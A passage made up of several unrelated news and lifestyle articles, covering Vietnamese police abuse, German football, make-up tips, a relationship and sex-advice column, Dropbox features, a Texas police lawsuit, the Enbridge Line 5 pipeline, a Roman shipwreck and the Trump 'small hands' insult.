and corporal punishment during investigation and trial processes will be strictly handled in accordance with Vietnamese law,” deputy Foreign Ministry spokeswoman, Tran Thi Bich, said in a statement. Minister of Public Security Tran Dai Quang last week said during a hearing of the justice committee of Vietnam’s parliament that action was being taken against policemen accused of abuses and cases had risen from 2011 to the end of last year. Quang said that of the 828 police accused of “infringing upon judicial activities”, 23 were charged with using corporal punishment. Quang did not disclose if any had been jailed. Robertson described the hearing as remarkable but said far more needed to be done. “For now, it’s clear that the Vietnam police are mostly getting away with these abuses,” he said. -Germany coach Joachim Low will explore his options against Azerbaijan as he attempts to identify a pecking order behind injured goalkeeper Manuel Neuer. The world champions secured their place at Russia 2018 with a 3-1 win away to Northern Ireland on Thursday, extending their 100 per cent record in qualifying to nine matches. But their preparations suffered a setback with news that Neuer could be sidelined for a further six months due to a metatarsal injury. Barcelona shot-stopper Marc-Andre ter Stegen is the current replacement, but Bayer Leverkusen's Bernd Leno will be given another chance to impress on Sunday after an underwhelming display against Australia at the Confederations Cup. "When Neuer is fit, he starts. We must see how [his injury] develops," Low said at his pre-match press conference. "Marc-Andre has shown himself to be very capable. He has developed well with us. "If you can speak of a goalkeeper behind Manuel Neuer, it is Marc-Andre ter Stegen. We also have confidence in him, just as in Bernd Leno and Kevin Trapp." Low also confirmed the in-form Leroy Sane will earn his eighth international cap at the Fritz-Walter Stadion and will be joined in the starting XI by Liverpool midfielder Emre Can. Manchester City attacker Sane, a member of Germany's Euro 2016 squad, pulled out of the Confederations Cup to undergo nasal surgery. -Tricks of the trade: The world's best make-up artists reveal their secrets From primer to eyeshadow, these are the products we use every day - but do we know how to use them? We asked international make-up artists Laura Mercier, Jackie Tyson and Gucci Westman to give us their inside tips. Laura is known for her successful make-up range - her primer is a beauty icon. Gucci is a New York-based celebrity make-up artist who works with all the stars, including Demi Moore and Jennifer Garner. And Jackie is the make-up artist on The X Factor and Britain's Got Talent. Here, they select the products we really need and give their differing views on how to use them... Debating the truth: Make-up artists Laura Mercier (left), Gucci Westman (centre), and Jackie Tyson (right) Should you apply primer on top of freshly cleansed skin or on top of moisturiser? LAURA: Primer is a protective layer that seals in moisturiser and provides a smooth surface for foundation. If you have an oily complexion, you may feel that the primer without moisturiser is enough. GUCCI: My routine is more about colour- correcting, treating and highlighting the skin. A product that gives you an immaculate canvas is a pore minimiser, which would be my equivalent to a primer. I use it only around the T-zone, where pores need to be made to look smooth and match the rest of the skin. Apply after moisturiser, and before you apply your foundation. JACKIE: A primer provides a base for your foundation, which will ensure it will stay put longer, but will also help give the illusion of flawless, radiant skin. Try Avon MagiX Face Perfector, £7 (avonshop. co.uk) or Beauty Flash Balm by Clarins, £26.50 (from Boots), which is a cult classic. The X Factor: Jackie Tyson cannot live without her eyelash curlers and disposable mascara wands Which make-up tools can’t you live without? LAURA: My camouflage brush to apply concealer - it allows me to pinpoint areas where I need more coverage. GUCCI: My sponges - they are amazingly soft. JACKIE: My Shu Uemura Eyelash Curlers, £19.50 (020 240 7635). I also get through lots of disposable mascara wands - £6.25 for a set of nine (thepromakeupshop.com). Professional tools: Invest in a set of brushes to get that flawless finish What’s the best way to apply foundation to get a smooth, even coverage? LAURA: Fingers for a cream foundation, a sponge for liquids and a brush for mineral powder. GUCCI: Using a brush, start from under the eyes working out and up. Then apply highlighter to cheekbones, bridge of the nose and cupid's bow, pat it in with your fingers, and smooth out with a brush. Revlon brushes from £6.99 (Superdrug). JACKIE: Use foundation only where you need it: around the eyes, nose and mouth. Blend well with a brush or fingers. How can you get a lovely, healthy glow using bronzer without looking unnatural? LAURA: Never overload your brush, and match texture to texture. A cream or gel is perfect over liquid foundation, for example. If you don't want a powdery look, use a blusher with a hint of pearl to lift the texture and add a glow. GUCCI: For mature skin, the more cream textures you can use, the better. Avoid powders as much as possible. It's easy to get a natural look with blusher - it's all in the blending. After applying cream or powder blush, simply dust over the area with a clean powder brush. JACKIE: Avoid powder bronzers for a more mature skin. POP Beauty has a fabulously easy-to-apply cheek stain called Apples Of The Cheeks, £12 (popbeauty.co.uk), that looks great on any skin tone and can be applied with fingertips. Break out of your eyeshadow rut: Bellapierre has a good range of shimmer powders How can you break out of a colour rut with eye shadow? LAURA: Seek the advice of an in-store make-up artist - they'll give an objective opinion. When applying eye shadow, use a little at a time; it's easier to add more than take some off. GUCCI: Go for a eye make-up palette that combines a few of your safer, familiar tones with a range of new colours. JACKIE: Try to complement your outfit with make-up rather than match it. Bella Pierre has a good range of shimmer powders - individual pots cost £12.99 or a stack of nine is £59.99 (bellapierre.co.uk). Can you define your mouth and get long-lasting colour that doesn't look too fake? LAURA: Apply lipstick by dabbing with your finger to create the shape. The colour will look far more natural, and the pressing action will grind its pigment onto your lips. GUCCI: Apply lip colour using your fingers, pat it on and clean up the edges with a small concealer brush. Revlon's new Colorburst lipstick, £7.99 (Superdrug and Boots) has a great lip balm feeling and provides a huge amount of colour. JACKIE: Colour is best applied sparingly over the top of a good lip primer to fill in fine lines around the lip line. Blend gently with the ring finger. When buying lipstick, get exactly the same colour lip liner. After applying a primer, such as Elizabeth Arden Advanced Lip-Fix Cream, £18 (Boots and department stores; 020 7574 2714 for stockists), apply the liner all over the lips to provide a colour base and give the lipstick something to cling to. Blot with a tissue and repeat two to three times for extralasting power. Bobbi Brown's Lip Liner pencils, £14 (bobbibrown. co.uk), are long-lasting and the shades are all wearable. After applying, blend gently with the fingertips to remove any excess colour. Nearly here: Yes To Tomatoes Totally Tranquil Facial Hydrating Lotion, £11.99, victoriahealth.com COMING SOON… Tomatoes in your face cream The Yes To Tomatoes range is rich in vitamin C and lypocene. Totally Tranquil Facial Hydrating Lotion, £11.99 (victoriahealth.com) combines 26 minerals from the Dead Sea with tomatoes, rosemary and red pepper. Nivea's Protect & Bronze, £12.55 (nivea.co.uk) is a dual-purpose suncream that protects the skin and enhances tanning. It uses a plant extract called GA that helps increase the skin's melanin production. Benefit Confessions Of A Concealaholic, £28.50 (benefitcosmetics. co.uk) has everything to hide blemishes in one handy kit, including eyelid brightener, primer and concealer brushes. WE LOVE... For anyone who's ever had a disastrous home hair colour, Colour B4, £9.99, Boots, is a must. Britain's first home hair colour remover erases blunders with one application. Launched in association with hair, image and style expert Scott Cornwall, Colour B4 is available in regular (to reverse an undesirable hair colour) and extra strength (for hair with multiple colour applications). Pedicure perfect: Comfys have been designed to stretch, flex and rejuvenate your feet HEAD TO THE BEECH! These sandals may look scary, but are as comfy as slippers. There are four toe separators that flex and rejuvenate your feet. Beauty addicts have discovered that they're the perfect footwear for polished toes after pedicures. Available in leather or velour. Beech Sandals, £29 (victoriahealth.com). WHERE CAN I FIND... ULTRAGLOW? Created in the Seventies, Ultraglow was a must-have, along with shaggy perms and Sun-In hair lightener. But the product was wise before its time because it contained minerals long before the rest of the cosmetics world had realised their benefits. Wise before its time: Ultraglow Mineral Shimmer Powders, £4.21 (ultraglowshop.co.uk) The original formula hasn't changed, but it now comes with a Kabuki brush for application, and is available in loose or pressed textured. Complexsun is a matte version with a four-star UV rating. The famous Ultraglow Magic Lips, £20.42, are also still around (remember the lip stains that came in black, red and green and changed to your personal shade of pink when applied?) and sell like hot cakes on the internet. And there's also a great range of Ultraglow Mineral Shimmer Powders, £4.21, and a Magic Mascara, £9.95, which gives impressive coverage. Ultraglow Original Pressed Bronzing Powder, £15.99 (ultra glowshop.co.uk). -Okay, are y’all ready for the longest sex question I’ve ever answered? Because this one’s a doozy. Normally we edit the questions down to a nice size, but there’s a lot going on here and I think all of it’s valuable. So we’re publishing most of this question, almost intact: I have been in a relationship with a bisexual girl for more than 10 months. We have a pretty okay relationship, we have our strong differences but there are things about her that I do adore. However, we are having some bedroom issues. In February 2013, she went for an operation to remove a couple of cysts in her womb and she has been put on the mini-pill ever since. And since after that, our sex life has gone from hero to zero. We have had many chats (both peaceful and heated) about the lack thereof and she has said on many occasions that she will decide when we have sex. She said it’s her body and she has a right to decide what someone else can do with it. I definitely have a higher libido than she does and here, I’m not sure if it is because she has had sex with men or women (I’m not her first girl) who have been demanding and have forced themselves on her. But all this is making me afraid to initiate sex in fear of rejection and yet I feel that it’s unfair that sex should solely be on her terms. She sees penetration as an “invasion” of her body and it is getting increasingly frustrating for me. I do not want to jeopardize the relationship—I know sex isn’t everything but I don’t feel the intimacy with her. She says that I always want instant gratification that I get from sex and I always want it when I want it, which is not true. It seems that she only wants sex when she’s drunk or when she feels like it. Please help. I don’t know what else to do. Alrighty, dear reader. This is going to be a multipart opus, because you’ve actually asked a lot of questions here, not just one. I want to start, though, by commending you for not calling this lesbian bed death. I feel like that term gets bandied about a lot and it implies that a difference in libido is somehow a lesbian-specific phenomenon. It’s not. Any couple, no matter how they identify, can face this issue. So now let’s start by picking apart these questions, one by one, and see if we can’t unwind this tangled ball of string into a more manageable spool. Medications Make A Difference You’ve acknowledged that there might be an external cause for the gap between your libidos. Medication, hormones, stress—these are all things that can make a difference in one’s desire to have sex. So it could be that this is a storm that you can weather—is she on this medication temporarily? Or it could be that she’s on the wrong medication for her. I don’t know enough about her medical condition (or about medical conditions in general) to tell you if that’s the case, but it’s something about which she can certainly talk to her doctor. However, some medications are long-term and have unavoidable libido side-effects—which might mean that this is the new normal. So what could that mean for you? Her Body Is, In Fact, Hers She says that her body is hers and she can decide who does what with it when, and that’s 100% correct. Even in your horniest state, it would be super ultra mega no-good to pressure her into having sex. Remember that consent counts only when it’s enthusiastic. You have the right to pursue a sexually fulfilling relationship, but that doesn’t mean that your girlfriend is personally obligated to sexually fulfill you even when she doesn’t want to. But there is another side to that equation—your body is yours, and you are allowed to want things done to it. And you’re allowed to seek out those things. It’s normal and wonderful to want sex and to seek it out. So let’s talk about the ways you can do that within the parameters you’ve described. The Price Of Admission Before everyone gets on my case for using an idea that Dan Savage popularized, let me be clear. Dan Savage has said some VERY problematic things in his career, as many have. But he has helped normalize talking about sex and has contributed to the culture of being open and honest about our wants and needs. And this particular idea of his, despite so many problems with his other ideas, is a real winner. Basically, think of your partner as a ride (while still thinking of them as a person! I’m not suggesting you objectify your partner!). There is a price you pay to ride the ride, and that price is often a compromise. I’ll give you an example from my own life: my girlfriend is wicked smart. Like, the kind of smart you cannot even believe exists. But she does have this weakness. And that weakness is Say Yes To The Dress. Sure, most of the time we’re watching thought-provoking documentaries or really excellent foreign films or any number of other things that are WAY MORE INTELLIGENT than Say Yes To The Dress. But the price of admission for my girlfriend is that sometimes we are gonna marathon this show and there’s nothing I can do about it. If there is a Say Yes To The F*cking Dress marathon, that is what we are watching. Instead of fighting against it, I go with it and we have fun critiquing the wedding industrial complex together. I’ve even come to grudgingly love it and find my inner Monte. (My girlfriend’s note here: YOU DID NOT SPECIFY SAY YES TO THE DRESS ATLANTA! SAY ATLANTA! I HAVE MY STANDARDS.) You can apply this idea to sex as well. I’ll give you another example from my own life: I cannot keep my mouth shut during sex. I dunno, I just let forth a torrent of filthy talk every time I get naked. That’s the price of admission for me—I don’t necessarily need someone to reciprocate it, I just need someone who’s okay with me doing that. Because I like it and I really don’t want to not do it. Sometimes price of admission can change — it sounds like her boundaries about sex and penetration might be more recent, and may not have been there when you began this relationship, but that doesn’t make them less valid. In your case, it sounds like you both have different prices of admission when it comes to having sex at all. Your price of admission is frequent sex. Her price of admission is no penetration, or only when she’s completely into it. Thus the apparent libido gap. Which brings me to my next point: Sex Can Be More Than Penetration… In your question, you state “she sees penetration as an ‘invasion’ of her body.” But if penetration is your criterion for sex, I’d challenge you to broaden your definition. Sex is a huge category that covers a bunch of different acts. Here are a few suggestions for things that could be considered sex that are not you penetrating her. Using a vibrator on her. Her using a vibrator on you. Mutual masturbation! Non-mutual masturbation/watching each other masturbate! Her penetrating you (fingers, dildo, back door or front door if ya catch my drift). Oral sex! BDSM acts without penetration. (Yes, you can just flog someone and leave it there! Totally a thing!) And much much more! Whenever someone, a couple of someones, or multiple someones talk to me about a perceived libido gap, I always have to check and make sure they’re on the same page when it comes to defining sex for themselves as an individual, couple or group. Everyone has certain things they’re into, and when you’re having sex with someone else, you’re going to do the things that you’re both into, the acts where your interests intersect. Think of it as a Venn diagram. It could be you’re both thinking you’ve got a huge libido gap because you’re both defining sex as acts totally on the opposite sides of your circles, but actually there are certain things you’re both into doing together that fall smack in the middle and are totally still sex acts. The only way to find out about that is to talk about it. For a more complete list of sex acts to peruse, I recommend this list on Scarleteen (yes, yes, I know, I am always talking about it, but that’s because the yes/no/maybe list is so good!) or this (admittedly a bit cheesy) interactive sex questionnaire. Your libido gap may not be as large as you think, you might just be looking in the wrong place on the diagram. Or you discover that no, in fact, your libido gap (the difference between your respective prices of sexytime admission) is exactly as large as you think it is and it is truly a difference in how often you want to be having the sex in the intersection. You still have other options. …And Relationships Can Be More Than Monogamous Another valid way of addressing a libido gap is to consider sleeping with other people. If you’re both into it and you want to keep the non-sexual parts of your relationship going, you can always negotiate a less traditional relationship structure. You know, one that allows you to take your yayas outside the two of you and get your rocks off with someone else. Or many someone elses. Now there’s a bit of a misconception I hear often—a non-monogamous relationship doesn’t mean you both have to be sleeping with other people to make it equal. It sounds like that wouldn’t be really happening for her if you all decide to go this route. No, what makes this kind of relationship egalitarian is that both partners’ needs are being met and both of you are happy. That means that, if you both agree on it, you could sleep with other people and she could sleep only with you, when she feels like it. Totally cool. Or perhaps she really likes her nonsexual relationship with you, but would like to also have a sexual relationship with someone else. Or! Maybe she finds that her libido increases when she gets her yayas yaya-ed by someone else and you are also bumping hoo-has with another human and then you come together for a sextravaganza. Some couples find that INCREDIBLY SEXY! Or! OR! She might want to watch you fuck someone else. Some couples find THAT incredibly sexy. The point is that there are options for bridging a libido gap. And those options can safely and respectfully include non-monogamy. For more thoughts on this subject, I highly recommend The Ethical Slut by Dossie Easton and Janet W. Hardy and Opening Up: A Guide to Creating and Sustaining Open Relationships by Tristan Taormino. Regardless of what you decide, you should still feel okay talking about sex with your partner and asking for sex from your partner (if you both agree that you still wanna be having sex). So— There Are Ways of Bringing Up Sex Without Pressure I’ve actually written about this before, but let me do a reader’s digest version. Always talk about sex at a time and in a place where you’re not having sex, or intending to immediately have sex after the conversation. Noisy coffee shops are my favorite. Driving in the car is my second favorite, though some have told me that location doesn’t work for them because it distracts them from driving. Regardless, pick a place that your partner won’t feel like you’re pressuring her to have sex right this second. Ask permission to talk about sex and give that other person a chance to reschedule the conversation. If they say they don’t want to talk about it right now, say something along the lines of “that’s totally cool, no pressure. But this is a really important conversation to me. Can we work out another time to talk about it?” Assume positive intent. Assume your girlfriend wants to make you happy. Assume that she is not mismatching y’all’s libidos on purpose. Because unless you’re dating a mustache-twirling cartoon villain, she’s not. If you are dating a mustache- twirling cartoon villain, pics please. Be prepared to compromise on one of those above solutions. Be prepared to make an actual change in the way you’re doing things, and not expecting her to be the only one changing. And I’m going to add another bullet point here, specific to you. Your partner seems to be not super into the way you’ve asked for sex in the past. So make sure to include this question: “How would you prefer me to express my want for sex in the future?” And again, really listen to what she says here, and be prepared to do what she asks. Always Be Masturbating Well, not always. You’ve got to eat, sleep and go to work. But yeah, masturbation is included in every You Need Help I answer because it’s important. And in this case, it can be an important tool for filling the libido gap with some spectacular orgasms. It can also be a sex initiator—many people get turned on when their partner starts touching themselves, and not wanting sex can turn into wanting sex totally organically. However. May I speak frankly? I generally try not to give really specific advice because even though I answer the You Need Helps on Autostraddle sometimes, my relationship isn’t your relationship and the way I have sex isn’t the way you have sex. Things are different for everyone. But I want to point out a few things I read in your question: “I have been in a relationship with a bisexual girl for more than 10 months. We have a pretty okay relationship, we have our strong differences but there are things about her that I do adore.” “I do not want to jeopardize the relationship—I know sex isn’t everything but I don’t feel the intimacy with her.” First off, you’ve only been in a relationship with this woman ballpark ten months. That’s not a very long time and already you’re experiencing problems—I want you to think about spending the next year this way. How about the next five? You also describe the relationship as only “pretty okay” and you don’t say you adore her, but rather you say there are things about her that you do adore. That sounds like a pretty ambivalent way to talk about what should be a fairly new relationship. It sounds like you’re compromising pretty hard here, and not just in the bedroom but outside it as well. You also state that it’s not really about the sex, it’s about the intimacy that you’re not feeling. Which brings up yet another reason for a libido gap: that there are deeper problems with the relationship. Problems like not truly having feelings for each other, or not trusting each other. Or perhaps more personal problems for one or both of you (think depression or anxiety). And it’s these issues that are the problem—the mismatched libido is merely a symptom, not the cause. It’s up to you whether or not you want to work through those problems. But I need to be honest with you—if I were in the relationship that you have described here, I would end the relationship. I would be breaking up with my partner. Which brings me to my last point. Sometimes a libido gap isn’t a libido gap. It’s just a gap, plain and simple. An everything gap. And that gap can be too big to bridge. We need to reframe breaking up in our community—everyone talks about it like the worst thing that could happen to a relationship. It can actually be the best thing. It means both of you get to be honest about what you’re truly feeling, instead of keeping up a charade and wasting time y’all could be out courting people who are fulfilling your needs. It could mean that you remain friends because you haven’t ventured into the place where your relationship (not the romantic kind) is irreparable. It could mean that you never speak to each other again, and that’s okay too! But whatever the case, we don’t have to look at it as a thing that has to get ugly. Or a moment that has to be entirely sad. Endings are beginnings too, and I recommend you end this era and begin something new and different. Good luck, dear reader. I’m rooting for both of you. -A number of the recent improvements made to Dropbox have focused around greater integration with Microsoft Office. The companies announced a partnership last fall, and you can now do things like open Office files in your Dropbox directly in Office Online, with changes being automatically synced back to the original file through Dropbox. Today, yet another new Office-related feature is being announced: the Dropbox app for iOS will soon let you create Office documents right inside it, without having to jump to another app. Presumably, the files are then saved to your Dropbox folder and can be accessed through Office Online or the traditional desktop apps. We haven't had a chance to try it out yet and see if it truly offers the same features you'd find creating files through Microsoft's apps, but it's certainly an intriguing way for Dropbox to take on the Google Drive / Docs combo. Dropbox says the feature will be available "later this month." Office document creation is the standout new feature here Dropbox is also building on the commenting feature added last week. The feature lets users leave remarks on shared files that all other collaborators could see; you can now make and view those comments in the iOS app as well as through the web. Today's update also includes a slight navigation change. Rather than seeing simply an alphabetical list of your files and folders, the default Dropbox app view will instead show your most recently used files — that's anything you've uploaded, viewed, renamed, or edited on any device. While all these features are useful enough, the most intriguing feature here is definitely the upcoming Office document creation — we'll be keeping our eyes peeled to see exactly how that works. Update, May 5th 11:34 AM ET: This article has been updated to reflect that comments are now available on iOS as well as the web. -A Texas woman has filed a lawsuit against three police officers in Victoria, claiming that they brutally beat her and broke her ribs without a good reason. Mary Frances Jones told the Victoria Advocate that the three police officers woke her up early in the morning on Dec. 22, 2013 over reports that a truck that she had purchased the day before had been seen driving in a local creek. Jones said that she had been unaware at the time that her sons borrowed the truck while she was sleeping. After officers claimed that she was lying about owning the truck, Jones said she tried to go back inside her home, and that’s when they forced her to the ground. “One of them had his foot on my arm, and the other kicked me and broke my ribs,” she recalled. “They hurt me. They hurt me bad, and they know they did.” According to Jones, she had to plead no contest to a charge of disorderly conduct-vulgar language so that she could go to the hospital. Her fiance, 50-year-old Mathew Milberger and two sons, William and Danny Wallace, were also arrested and charged with disorderly conduct-vulgar language. A police report filed by Officer D. Stone accused Jones and her family of yelling, “F*ck the police, f*ck yall, and various other profanities.” The report noted that Jones’ son was shocked with a Taser, but it did not mention that she suffered broken ribs, black eyes and other injuries. Jones said the broken ribs eventually resulted in pneumonia, which left her on a ventilator. In all, she had been in the hospital six times because of the beating, she said. Attorney Christopher J. Gale, who filed the lawsuit on behalf of Jones, said that police had made her pay for showing “disrespect.” “I think the police, while they’re trained in the concepts of law enforcement, they are not trained in regards to the application of them,” Gale explained. “When you express your opinion in any form or fashion with any kind of words and walk away from them, that’s a sign of disrespect.” “It’s completely and utterly constitutional to walk away from somebody,” he added. “They’re just going to make you pay the price. That’s concerning. This is not a police state.” The lawsuit accuses the officers of false arrest and imprisonment. And it asserts that Jones’ constitutional rights were violated because officers went beyond the “reasonableness” standard set by the Fourth Amendment. Jones is seeking $1 million in damages. The Texas Rangers recently launched an investigation after another officer with the Victoria Police Department used a Taser on a 76-year-old man while he was already on the ground. -LANSING, MI -- Enbridge directors say there are no areas where bare Line 5 metal is exposed to Great Lakes water but admitted during a Michigan Pipeline Safety Advisory Board meeting the outer coating layer has failed in places and the company doesn't usually repair that kind of protection system. Kurt Baraniecki, Enbridge director of pipeline integrity, told the state board on Monday, March 13 that anticorrosion protections on the controversial pipeline under the Straits of Mackinac are "working as designed," but there are 18 places where there is coating " ." Baraniecki said a federal work plan incorrectly identified the delamination spots along the pipeline as "holidays," where the multi-layered coating has been completely lost and bare pipe metal is exposed. Baraniecki said "the consultants had generalized this" language in a to assess the impact of invasive quagga and zebra mussels on the twin underwater pipeline segment, a required part of a civil Enbridge reached with the U.S. Justice Department last year following the 2010 Kalamazoo River oil spill. "These are locations we've identified that could potentially have coating holidays," he said. Divers "are going to each of those locations to take samples of the biota and visually inspect the coating to see if it is still intact." He said Enbridge is "confident it is still intact" because of constant monitoring. Baraniecki's presentation was the main event at a rowdy pipeline board meeting on Monday that featured several busloads of protestors who packed the hearing room at the Michigan Public Service Commission building on W. Saginaw Highway. Security estimated there were about 260 attending, not including media, board members and state staff. Board co-chair Valerie Brader admonished the hostile audience several times during Baraniecki's presentation, reminding them that shouted questions, jeers and other interruptions only ate time away from the public comment period. At one point, a Petoskey man and his grandson sitting in the front row briefly left the meeting for the bathroom, where they undressed and coated themselves in chocolate cake batter to make a visual statement about the threat of a spill. Man and grandson cover themselves in cake batter at rowdy Line 5 meeting "We wanted show you what the birds will look like... if the line breaks." The packed meeting followed confusion related to Enbridge's biota investigation plan, which pipeline board member Jennifer McKay of the Tip of the Mitt Watershed Council stumbled across on the company website in February. The plan with the pipeline board because it referred to numerous holidays in the pipeline coating that had been identified during a June 2016 inspection of the pipeline. Enbridge called the holidays " ," but agreed to give a detailed presentation. In a March 8 letter, Attorney General Bill Schuette, Department of Natural Resources director Keith Creagh and Department of Environmental Quality director Heidi Grether called Enbridge's characterization of the holidays as merely hypothetical "confusing in light of the terms of the plan itself," which clearly identified them in maps and diagrams. Using a series of slides, Baraniecki said the pipeline has a coal tar enamel coating layer under two layers of outer fiberglass wrap, and cathodic protection inspections show the enamel layer is "still intact," although photographs show the outer wrap layer is missing, or "delaminated," in spots. He said a consultant that created the biota work plan, Gulf Interstate Engineering (GIE), used data from Ballard Marine and identified places where they believed bare pipe was exposed to the water, but Enbridge concluded it was a "mistake." Enbridge director of pipeline integrity Kurt Baraniecki explains why Line 5 has delaminated outer coating during the Michigan Pipeline Safety Advisory Board meeting on March 13. He said in-line inspection tools have not detected any holidays, but the delamination areas were discovered by visual inspection last year. "We're not certain what is causing the delamination" but they hope to figure that out. This year, Enbridge plans to hydrostatic test the original pipeline pressure used in 1953 when the line was installed to demonstrate the lines are as "good as they were when they were brand new." The maximum pressure allowed on the line is 600 pounds-per-square-inch and Baraniecki said the company will test the line at double that level. As part of the biota survey, divers will look at delamination areas and "if there are holidays, we will assess whether we need to do any repairs." Baraniecki said the purpose of the outer layers is to protect the pipe during construction and to prevent abrasion from soil or sediment during the line's lifespan, so it being compromised shouldn't diminish the coating system. "The outer wrap is not something we'd typically repair." That statement got the attention of Michigan State Police Captain Chris Kelenske, the state's emergency management coordinator. "If the outer wrap was necessary when it was put in, why would we not repair it, regardless of whatever the testing is?" he asked. Brad Shamla, Enbridge vice president of U.S. operations, jumped in. "We don't believe that going in and doing a repair is going to change the corrosion protections at all, but it's certainly something to look at," Shamla said, adding that the delamination spots amounted to "less than 0.1 percent of the system." Kelenske replied that, "from where I sit, any percent above zero is not good." Enbridge Line 5 may be 'one peak current event' from failure, says scientist Meanwhile, state officials seek info about 'hypothetical' defects in pipeline coating. After the meeting, McKay said the presentation left her with more questions. "I think Enbridge needs to do a full analysis on the coating and look at the outer wrap, inner wrap, coal tar enamel and determine what is the extent of loss and what does it ultimately mean for the fitness of service for this pipeline," she said. Board member Mike Shriberg, regional director for the National Wildlife Federation, said he had a hard time squaring Baraniecki's assertion that the line was as good as new when there's delamination in the outer wrap. "A pipeline that's in 'like new' condition isn't missing part of its coating,' he said. Shriberg, who represents an organization that is active in opposition to the pipeline in the public realm and in the court system, said Enbridge appears not to really know the depth of coating loss at certain points on its pipeline. "They're assuming it's just the outer wrap -- which is bad in and of itself -- but it could be much deeper," he said. "It left me with more questions than I started with." After the meeting, Enbridge spokesperson Ryan Duffy said the company is satisfied that Baraniecki showed there's no exposed metal on the pipeline. As for the outer wrap delamination, Duffy said it "doesn't play a role in preventing corrosion, necessarily. It's just the outer thin wrap on the line. Bottom line: There's no exposed metal anywhere along the line. There's no holidays." -An ancient Roman merchant vessel has been discovered off the Italian coastline, reportedly in such good condition that much of the food it was carrying might still be intact in its storage jars. 'There are some broken jars around the wreck, but we believe that most of the amphorae inside the ship are still sealed and food-filled," Lt. Col. Francesco Schilardi of the police divers' group told the BBC of the containers. Local fisherman first became aware of the wreck when pieces of pottery began turning up in their nets. They notified police divers who used a remotely operated vehicle (ROV) to locate the 2,000-year-old ship in the sea off the town of Varazze. "We believe it dates to sometime between the 1st Century BC and the 1st Century AD," Schilardi said. Tests on some of the roughly 200 pots, or amphorae, that the ship holds reveal that they contain pickled fish, grain, wine and oil, which were most likely en route to Spain to be traded for other goods when the ship sank. The ship's remarkable state of preservation has been attributed to the layers of mud on the seabed, which covered the wreck and protected it from harm. The vessel will remain on the ocean floor until Italian authorities decide whether to raise it. "Right now, the area of the finding has been secured," Schilardi said, "and no fishing or water traffic is allowed." -Political action committees with silly names are a dime a dozen — "Americans for Real Good Coffee" and "Americans for Crushing It" both actually exist — and most of them never end up with a dime to their name. But the Americans Against Insecure Billionaires With Tiny Hands PAC is standing out from the pack with a political ad demanding that Donald Trump release the exact measurements of his hands. It's a spot-on parody of political ads, from the regular people expressing their dire fears about the future while engaged in everyday activities (setting the table, doing chin-ups, working at a construction site) to the swelling, ominous background music. There are some good hand puns: America, the ad declares, needs "a president who can grasp the complexity of the world and hold off the decline of a great nation." "If the White House phone rings at 3 am, will his little hands even pick up the receiver?" one woman asks worriedly. The video is tapping into a rich vein of criticism that Trump has historically found very difficult to tolerate: Call him a racist or a bully or a xenophobe if you must, but do not, under any circumstances, insult the length of his fingers. During the primaries, Sen. Marco Rubio was the first to pick up on it: "I don't understand why his hands are the size of someone who is 5-foot-2," Rubio said during his brief insult comic phase: "And you know what they say about men with small hands? You can't trust them." (That isn't actually what they say about men with small hands, but we'll get to that in a minute.) Jokes about Trump's small hands — or, in the phrasing more commonly used before 2016, his short fingers — have a long, entertaining, very Trump-like backstory. His sensitivity to the insult dates back decades. Why Trump really hates the insult "short-fingered vulgarian" Accusations of below-average finger size have dogged Trump for nearly 30 years. In 1988, Spy, a satirical magazine based in New York, coined an epithet for Trump that it would gleefully repeat for eight years: "short-fingered vulgarian." Spy, which was published from 1986 to 1998, was busy skewering celebrities and public figures as Trump was building his national profile. Proudly avaricious and braggadocious, Trump embodied the spirit of the '80s. And Spy made him a frequent target of not just insults but also elaborate practical jokes. "Donald Trump was our clickbait," Bruce Feirstein, a contributing editor for Spy, wrote for Vanity Fair in 2015: He brought us word-of-mouth recognition, and more readers—just the same way he is now bringing eyeballs to newscasts, and page views to Web sites… Over the course of our years at Spy, we fact-checked his books and his finances (with predictable results), trolled him by sending miniscule checks — as low as 13 cents —to see if he’d cash them (he did), and wrote up his all-but-forgotten business debacles. (Remember the "Trump Castle World Power Boat Championship"?) "Two-month anniversary of the publication of short-fingered vulgarian Donald Trump's The Art of the Deal," Spy noted in January 1988, its first use of the phrase. "Reader … is rushed to the hospital with hubris shock." (The same issue, presciently, floated the possibility of a Trump presidential bid, citing a survey that found 4 percent of Americans were sad he wasn't in the running.) Spy would call Trump a "short-fingered vulgarian" 12 times in the next eight years, including once reprinting a correction from the Stanford student newspaper, which had written the phrase as "short-fingered Bulgarian" and had to apologize for insulting Bulgarians. Trump, an expert troll, was getting trolled. He rose to the bait, responding in characteristic fashion: scribbling on the article in Sharpie marker and sending it to its writers. ("Face of a dog!" he once wrote over a photo of New York Times columnist Gail Collins, who had committed the other ultimate infraction: downplaying Trump's wealth by calling him a "thousandaire.") What upset Trump wasn't being called a "vulgarian," a rich person with bad manners. It was the slur on his finger length. "To this day, I receive the occasional envelope from Trump," Graydon Carter, a founder of Spy and now the editor of Vanity Fair, wrote in 2015. "There is always a photo of him — generally a tear sheet from a magazine. On all of them he has circled his hand in gold Sharpie in a valiant effort to highlight the length of his fingers. I almost feel sorry for the poor fellow because, to me, the fingers still look abnormally stubby." Rubio's "small hands" joke was probably a slur on Trump's penis size Before we get any further into the saga of Trump's hands, here's one important note: It is not at all clear that Trump's fingers are, in fact, unusually short. But what matters is that Trump himself seems to believe short-fingeredness is a terrible accusation that must be refuted. The Washington Post's Philip Bump conducted a thorough investigation that included, among other things, the photographic concept of foreshortening, a 1902 study of the finger lengths of imprisoned criminals, and a comparison of the size of Trump's hands with the size of a sheet of paper. Bump's conclusion: "Trump is not a 'short-fingered vulgarian,' for the sole reason that he is not short-fingered." Still, Trump seems to take a slur on his fingers as a terrible insult, for reasons that Spy was far too arch to make explicit. Palm readers, for one, have a host of stereotypes about short-fingered people: They're impulsive, stubborn, unconcerned with detail, prone to jumping to conclusions, and interested above all in doing big things. ("They build enormous buildings," the Benham Book of Palmistry even notes.) But while that's a scarily accurate description of Trump, it's unlikely this is what Spy meant. Finger size also could be linked to testosterone, and has been cited as a predictor of everything from athletic prowess to ruthlessness on a trading floor. But that research — which, in any case, was conducted long after Spy first called Trump short-fingered — deals with the ratio of the length of a man's ring finger to the length of his index finger, not how long or short the fingers in question are. Trump was probably drawing a much less obscure conclusion: He thought Spy was implying he had a small penis. "My fingers are long and beautiful, as, it has been well documented, are various other parts of my body," he told the New York Post's Page Six in 2006. "From what I hear, the same cannot be said of editors of the failed Spy." Trump, as Trump does, was making the subtext text. While there are some superstitions linking hand size to strength of character, a far more common association is that small hands are an indication of, um, smallness elsewhere. (Urban Dictionary was on the case in 2008: "If you say someone has small hands it means that they have a small penis.") And Rubio's remark has put the old jokes about 